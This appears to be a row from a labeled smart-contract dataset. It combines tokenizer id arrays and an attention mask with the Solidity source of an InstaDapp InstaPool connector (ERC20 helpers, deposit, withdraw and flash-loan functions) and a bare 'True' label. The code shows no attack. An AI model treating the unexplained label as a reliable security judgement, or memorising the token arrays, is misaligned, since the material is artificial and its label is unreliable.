1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
2219,
3085,
1063,
4769,
3477,
3085,
2270,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
1063,
1035,
3954,
1027,
3477,
3085,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
5796,
2290,
1012,
4604,
2121,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface LiqudityInterface {
function deposit(address, uint) external payable;
function withdraw(address, uint) external;
function accessLiquidity(address[] calldata, uint[] calldata) external;
function returnLiquidity(address[] calldata) external payable;
function isTknAllowed(address) external view returns(bool);
function tknToCTkn(address) external view returns(address);
function liquidityBalance(address, address) external view returns(uint);
function borrowedToken(address) external view returns(uint);
}
interface CTokenInterface {
function borrowBalanceCurrent(address account) external returns (uint);
function balanceOf(address owner) external view returns (uint256 balance);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); // For ERC20
}
interface CETHInterface {
function borrowBalanceCurrent(address account) external returns (uint);
function repayBorrowBehalf(address borrower) external payable;
}
interface TokenInterface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
interface MemoryInterface {
function getUint(uint _id) external returns (uint _num);
function setUint(uint _id, uint _val) external;
}
interface EventInterface {
function emitEvent(uint _connectorType, uint _connectorID, bytes32 _eventCode, bytes calldata _eventData) external;
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
uint constant WAD = 10 ** 18;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
}
contract Helpers is DSMath {
using SafeERC20 for IERC20;
/**
* @dev Return ethereum address
*/
function getAddressETH() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Return Memory Variable Address
*/
function getMemoryAddr() internal pure returns (address) {
return 0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F; // InstaMemory Address
}
/**
* @dev Return InstaEvent Address.
*/
function getEventAddr() internal pure returns (address) {
return 0x2af7ea6Cb911035f3eb1ED895Cb6692C39ecbA97; // InstaEvent Address
}
/**
* @dev Get Uint value from InstaMemory Contract.
*/
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : MemoryInterface(getMemoryAddr()).getUint(getId);
}
/**
* @dev Set Uint value in InstaMemory Contract.
*/
function setUint(uint setId, uint val) internal {
if (setId != 0) MemoryInterface(getMemoryAddr()).setUint(setId, val);
}
/**
* @dev Connector Details
*/
function connectorID() public pure returns(uint _type, uint _id) {
(_type, _id) = (1, 27);
}
function _transfer(address payable to,address token, uint _amt) internal {
token == getAddressETH() ?
to.transfer(_amt) :
IERC20(token).safeTransfer(to, _amt);
}
}
contract LiquidityHelpers is Helpers {
/**
* @dev Return InstaPool address
*/
function getLiquidityAddress() internal pure returns (address) {
return 0x06cB7C24990cBE6b9F99982f975f9147c000fec6;
}
}
contract LiquidityManage is LiquidityHelpers {
event LogDepositLiquidity(address indexed token, uint256 tokenAmt, uint256 getId, uint256 setId);
event LogWithdrawLiquidity(address indexed token, uint256 tokenAmt, uint256 getId, uint256 setId);
/**
* @dev Deposit Liquidity in InstaPool.
* @param token token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt token amount.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function deposit(address token, uint amt, uint getId, uint setId) external payable {
uint _amt = getUint(getId, amt);
uint ethAmt;
if (token == getAddressETH()) {
_amt = _amt == uint(-1) ? address(this).balance : _amt;
ethAmt = _amt;
} else {
_amt = _amt == uint(-1) ? TokenInterface(token).balanceOf(address(this)) : _amt;
TokenInterface(token).approve(getLiquidityAddress(), _amt);
}
LiqudityInterface(getLiquidityAddress()).deposit.value(ethAmt)(token, _amt);
setUint(setId, _amt);
emit LogDepositLiquidity(token, _amt, getId, setId);
bytes32 _eventCode = keccak256("LogDepositLiquidity(address,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(token, _amt, getId, setId);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
/**
* @dev Withdraw Liquidity in InstaPool.
* @param token token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt token amount.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function withdraw(address token, uint amt, uint getId, uint setId) external payable {
uint _amt = getUint(getId, amt);
LiqudityInterface(getLiquidityAddress()).withdraw(token, _amt);
setUint(setId, _amt);
emit LogWithdrawLiquidity(token, _amt, getId, setId);
bytes32 _eventCode = keccak256("LogWithdrawLiquidity(address,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(token, _amt, getId, setId);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
}
contract LiquidityAccess is LiquidityManage {
event LogFlashBorrow(address indexed token, uint256 tokenAmt, uint256 getId, uint256 setId);
event LogFlashPayback(address indexed token, uint256 tokenAmt, uint256 getId, uint256 setId);
/**
* @dev Access Token Liquidity from InstaPool.
* @param token token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt token amount.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function flashBorrow(address token, uint amt, uint getId, uint setId) external payable {
uint _amt = getUint(getId, amt);
address[] memory _tknAddrs = new address[](1);
_tknAddrs[0] = token;
uint[] memory _amts = new uint[](1);
_amts[0] = _amt;
LiqudityInterface(getLiquidityAddress()).accessLiquidity(_tknAddrs, _amts);
setUint(setId, _amt);
emit LogFlashBorrow(token, _amt, getId, setId);
bytes32 _eventCode = keccak256("LogFlashBorrow(address,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(token, _amt, getId, setId);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
/**
* @dev Return Token Liquidity from InstaPool.
* @param token token address.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function flashPayback(address token, uint getId, uint setId) external payable {
LiqudityInterface liquidityContract = LiqudityInterface(getLiquidityAddress());
uint _amt = liquidityContract.borrowedToken(token);
address[] memory _tknAddrs = new address[](1);
_tknAddrs[0] = token;
_transfer(payable(address(liquidityContract)), token, _amt);
liquidityContract.returnLiquidity(_tknAddrs);
setUint(setId, _amt);
emit LogFlashPayback(token, _amt, getId, setId);
bytes32 _eventCode = keccak256("LogFlashPayback(address,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(token, _amt, getId, setId);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
/**
* @dev Access Multiple Token liquidity from InstaPool.
* @param tokens Array of token addresses.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amts Array of token amount.
* @param getId get token amounts at this IDs from `InstaMemory` Contract.
* @param setId set token amounts at this IDs in `InstaMemory` Contract.
*/
function flashMultiBorrow(
address[] calldata tokens,
uint[] calldata amts,
uint[] calldata getId,
uint[] calldata setId
) external payable {
uint _length = tokens.length;
uint[] memory _amts = new uint[](_length);
for (uint i = 0; i < _length; i++) {
_amts[i] = getUint(getId[i], amts[i]);
}
LiqudityInterface(getLiquidityAddress()).accessLiquidity(tokens, _amts);
for (uint i = 0; i < _length; i++) {
setUint(setId[i], _amts[i]);
emit LogFlashBorrow(tokens[i], _amts[i], getId[i], setId[i]);
bytes32 _eventCode = keccak256("LogFlashBorrow(address,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(tokens[i], _amts[i], getId[i], setId[i]);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
}
/**
* @dev Return Multiple token liquidity from InstaPool.
* @param tokens Array of token addresses.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param getId get token amounts at this IDs from `InstaMemory` Contract.
* @param setId set token amounts at this IDs in `InstaMemory` Contract.
*/
function flashMultiPayback(address[] calldata tokens, uint[] calldata getId, uint[] calldata setId) external payable {
LiqudityInterface liquidityContract = LiqudityInterface(getLiquidityAddress());
uint _length = tokens.length;
for (uint i = 0; i < _length; i++) {
uint _amt = liquidityContract.borrowedToken(tokens[i]);
_transfer(payable(address(liquidityContract)), tokens[i], _amt);
setUint(setId[i], _amt);
emit LogFlashPayback(tokens[i], _amt, getId[i], setId[i]);
bytes32 _eventCode = keccak256("LogFlashPayback(address,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(tokens[i], _amt, getId[i], setId[i]);
(uint _type, uint _id) = connectorID();
EventInterface(getEventAddr()).emitEvent(_type, _id, _eventCode, _eventParam);
}
liquidityContract.returnLiquidity(tokens);
}
}
contract ConnectInstaPool is LiquidityAccess {
string public name = "InstaPool-v2";
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
